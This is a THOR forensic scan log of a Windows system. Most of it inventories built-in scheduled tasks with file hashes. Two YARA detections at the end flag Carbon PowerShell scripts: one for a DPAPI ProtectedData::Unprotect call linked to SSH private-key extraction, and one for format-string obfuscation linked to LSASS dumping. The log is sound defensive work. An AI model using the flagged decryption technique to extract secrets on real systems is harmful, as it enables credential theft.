Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\SynchronizeTime COMMAND: %windir%\system32\sc.exe START:  USER: S-1-5-19 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\sc.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 60928 MD5_1: 293a38365bee67829ae093d10bf4bc85 SHA1_1: afcceb4db08190d15739d0d369abe0f66b99557c SHA256_1: 604492b8398751f0798079cec26d674c125885f55b2beab1bc484ebdb723bb63 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:11:59.118 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Service Control Manager Configuration Tool LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: sc.exe.mui INTERNAL_NAME_1: sc.exe IMPHASH_1: b037d0adb81bf9cfc651de01742089f1
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Time Zone\SynchronizeTimeZone COMMAND: %windir%\system32\tzsync.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\tzsync.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UNP\RunUpdateNotificationMgr COMMAND: %windir%\System32\UNP\UpdateNotificationMgr.exe START: 2016-06-02T10:30:00 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\System32\UNP\UpdateNotificationMgr.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UPnP\UPnPHostConfig COMMAND: sc.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\USB\Usb-Notifications COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Report policies COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan COMMAND: %systemroot%\system32\usoclient.exe START: 2019-01-01T12:00:00 USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work COMMAND: %systemroot%\system32\usoclient.exe START: 2024-08-13T23:30:00+03:00 USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work COMMAND: %systemroot%\system32\usoclient.exe START: 2024-09-03T17:00:00+03:00 USER: S-1-5-18 RUNLEVEL: LeastPrivilege LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Start Oobe Expedite Work COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\StartOobeAppsScanAfterUpdate COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\StartOobeAppsScan_LicenseAccepted COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker COMMAND: %systemroot%\system32\MusNotification.exe START: 2000-01-01T03:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\MusNotification.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\UUS Failover Task COMMAND: %systemroot%\system32\usoclient.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\usoclient.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\User Profile Service\HiveUploadTask COMMAND:  START: 2007-08-28T00:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WCM\WiFiTask COMMAND: %SystemRoot%\System32\WiFiTask.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\WiFiTask.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WDI\ResolutionHost COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WOF\WIM-Hash-Management COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WOF\WIM-Hash-Validation COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WaaSMedic\PerformRemediation COMMAND:  START: 2000-10-15T03:00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance COMMAND: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 1687320 MD5_1: b8ddde4aedc995f86fc337ba3a349bfa SHA1_1: 9297d02d61c009a80c187a6d27a2a654b79751e9 SHA256_1: 7e7e446a3098ff8b8f64224911702cf53faf7fc182370fa2ceaccf16bf4dd467 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Thu Aug  8 08:56:25.244 2024 OWNER_1: NT AUTHORITY\SYSTEM COMPANY_1: Microsoft Corporation DESC_1: Microsoft Malware Protection Command Line Utility LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: MpCmdRun.exe INTERNAL_NAME_1: MpCmdRun IMPHASH_1: 9c025efcaa3f672e428d060d8dde59f0
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup COMMAND: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 1687320 MD5_1: b8ddde4aedc995f86fc337ba3a349bfa SHA1_1: 9297d02d61c009a80c187a6d27a2a654b79751e9 SHA256_1: 7e7e446a3098ff8b8f64224911702cf53faf7fc182370fa2ceaccf16bf4dd467 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Thu Aug  8 08:56:25.244 2024 OWNER_1: NT AUTHORITY\SYSTEM COMPANY_1: Microsoft Corporation DESC_1: Microsoft Malware Protection Command Line Utility LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: MpCmdRun.exe INTERNAL_NAME_1: MpCmdRun IMPHASH_1: 9c025efcaa3f672e428d060d8dde59f0
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan COMMAND: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 1687320 MD5_1: b8ddde4aedc995f86fc337ba3a349bfa SHA1_1: 9297d02d61c009a80c187a6d27a2a654b79751e9 SHA256_1: 7e7e446a3098ff8b8f64224911702cf53faf7fc182370fa2ceaccf16bf4dd467 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Thu Aug  8 08:56:25.244 2024 OWNER_1: NT AUTHORITY\SYSTEM COMPANY_1: Microsoft Corporation DESC_1: Microsoft Malware Protection Command Line Utility LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: MpCmdRun.exe INTERNAL_NAME_1: MpCmdRun IMPHASH_1: 9c025efcaa3f672e428d060d8dde59f0
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification COMMAND: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24070.5-0\MpCmdRun.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 1687320 MD5_1: b8ddde4aedc995f86fc337ba3a349bfa SHA1_1: 9297d02d61c009a80c187a6d27a2a654b79751e9 SHA256_1: 7e7e446a3098ff8b8f64224911702cf53faf7fc182370fa2ceaccf16bf4dd467 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Thu Aug  8 08:56:25.244 2024 OWNER_1: NT AUTHORITY\SYSTEM COMPANY_1: Microsoft Corporation DESC_1: Microsoft Malware Protection Command Line Utility LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: MpCmdRun.exe INTERNAL_NAME_1: MpCmdRun IMPHASH_1: 9c025efcaa3f672e428d060d8dde59f0
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting COMMAND: %windir%\system32\wermgr.exe START: 2015-01-01T00:00:00+00:00 USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\system32\wermgr.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 194904 MD5_1: 2c2bc22da8fef566624f42d1113026da SHA1_1: f8b2f1005adec7071b50d77ac636e871cae15c70 SHA256_1: 671039e5988479749a328785bf2bf2b7e600acd4bdf29965ac1aaf0a1ae1b443 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.207 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows Problem Reporting LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: WerMgr INTERNAL_NAME_1: WerMgr IMPHASH_1: 331c57ede37e373b685f86ccd4b7eff0
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Windows Media Sharing\UpdateLibrary COMMAND: "\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"" START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Program Files (x86)\Windows Media Player\wmpnscfg.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Refresh Group Policy Cache COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start COMMAND: %systemroot%\System32\sc.exe START: 2010-10-15T00:00:00+00:00 USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\sc.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 60928 MD5_1: 293a38365bee67829ae093d10bf4bc85 SHA1_1: afcceb4db08190d15739d0d369abe0f66b99557c SHA256_1: 604492b8398751f0798079cec26d674c125885f55b2beab1bc484ebdb723bb63 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Sep 15 07:11:59.118 2018 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Service Control Manager Configuration Tool LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: sc.exe.mui INTERNAL_NAME_1: sc.exe IMPHASH_1: b037d0adb81bf9cfc651de01742089f1
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WlanSvc\CDSSync COMMAND:  START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WlanSvc\MoProfileManagement COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Work Folders\Work Folders Logon Synchronization COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Work Folders\Work Folders Maintenance Work COMMAND:  START:  USER:  RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Automatic-Device-Join COMMAND: %SystemRoot%\System32\dsregcmd.exe START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\System32\dsregcmd.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Device-Sync COMMAND:  START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE: 
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Recovery-Check COMMAND: %SystemRoot%\System32\dsregcmd.exe START:  USER:  RUNLEVEL: HighestAvailable LOGONTYPE:  FILE_1: C:\Windows\System32\dsregcmd.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WwanSvc\NotificationTask COMMAND: %SystemRoot%\System32\WiFiTask.exe START:  USER:  RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\WiFiTask.exe EXISTS_1: no
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\WwanSvc\OobeDiscovery COMMAND:  START:  USER: S-1-5-18 RUNLEVEL: HighestAvailable LOGONTYPE: InteractiveToken
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\Windows\capabilityaccessmanager\maintenancetasks COMMAND: %windir%\system32\rundll32.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\system32\rundll32.exe EXISTS_1: yes TYPE_1: EXE SIZE_1: 61952 MD5_1: 8459d693c951248a5e8e128f299e9618 SHA1_1: 55ac33d1ebfa28296c5128617d29ccbfed11157e SHA256_1: 82611e60a2c5de23a1b976bb3b9a32c4427cb60a002e4c27cadfa84031d87999 FIRSTBYTES_1: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED_1: Sat Jan 21 10:00:18.597 2023 OWNER_1: NT SERVICE\TrustedInstaller COMPANY_1: Microsoft Corporation DESC_1: Windows host process (Rundll32) LEGAL_COPYRIGHT_1: © Microsoft Corporation. All rights reserved. PRODUCT_1: Microsoft® Windows® Operating System ORIGINAL_NAME_1: RUNDLL32.EXE.MUI INTERNAL_NAME_1: rundll IMPHASH_1: bb17b2fbbff4bbf5ebdca7d0bb9e4a5b
Sep 10 12:43:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: AtJobs MESSAGE: At Job detected SCANID: S-BxzYg1khKSI JOB: E:\Windows\System32\Tasks\Microsoft\XblGameSave\XblGameSaveTask COMMAND: %windir%\System32\XblGameSaveTask.exe START:  USER: S-1-5-18 RUNLEVEL:  LOGONTYPE:  FILE_1: C:\Windows\System32\XblGameSaveTask.exe EXISTS_1: no
Sep 10 12:44:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Windows\System32\WindowsPowerShell\v1.0\Modules\Carbon\Cryptography\Unprotect-String.ps1 EXT: .ps1 TYPE: UNKNOWN SIZE: 2368 MD5: 77fb4a6980ae492e6e732b5517b05a05 SHA1: 384ad6bddf985ec838d655df2b797d32100a57a9 SHA256: 937545b2e0e36f14f4e648cddcbb5c2de4d714641c1b51e687ed6140640df737 FIRSTBYTES: 2320436f70797269676874203230313220416172 / # Copyright 2012 Aar CREATED: Tue Jun 24 23:29:44.000 2014 MODIFIED: Tue Jun 24 23:29:44.000 2014 ACCESSED: Tue Jul 23 12:57:34.038 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule SUSP_PS_Unprotect_ProtectedData / Detects a suspicious Unprotect statement for ProtectedData in PowerShell code SUBSCORE_1: 50 REF_1: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/ SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "[Security.Cryptography.ProtectedData]::Unprotect(" in "64String($ProtectedString)\x0d\x0a    $decryptedBytes = [Security.Cryptography.ProtectedData]::Unprotect( $encryptedBytes, $null, 0 )\x0d\x0a    [Text.Encoding]:" at 0x8b6 RULEDATE_1: 2018-11-15 TAGS_1: SCRIPT, SUSP, T1059, T1059_001 RULENAME_1: SUSP_PS_Unprotect_ProtectedData AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:44:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 70 FILE: E:\Windows\System32\WindowsPowerShell\v1.0\Modules\Carbon\IIS\Install-IisApplication.ps1 EXT: .ps1 TYPE: UNKNOWN SIZE: 4009 MD5: 66a38fa7d1940d44b06fdeccef644001 SHA1: c1ef881c6bc092e9b355ef9db736d086058ce815 SHA256: ab52002270f9f1476f543ff446ba64132ad3f4df3b01f4d3721caae98020f442 FIRSTBYTES: 2320436f70797269676874203230313220416172 / # Copyright 2012 Aar CREATED: Tue Jun 24 23:29:44.000 2014 MODIFIED: Tue Jun 24 23:29:44.000 2014 ACCESSED: Tue Jul 23 12:57:34.163 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule SUSP_PS1_OBFUSC_FormatString_Sep22_2 / Detects a common PowerShell obfuscation technique that reorders format strings - FPs with legitmate scripts are possible SUBSCORE_1: 70 REF_1: https://github.com/D1rkMtr/DumpThatLSASS SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "{1}{2}' -f" in "t ('IIS:/{0}: creating application: physicalPath: {1}{2}' -f (Join-IisVirtualPath $SiteName $VirtualPath),$Phy" at 0xbec RULEDATE_1: 2022-09-28 TAGS_1: OBFUS, SCRIPT, SUSP, T1027, T1059_001 RULENAME_1: SUSP_PS1_OBFUSC_FormatString_Sep22_2 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:44:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\BBI
Sep 10 12:44:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\BBI.LOG1
Sep 10 12:44:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\BBI.LOG2
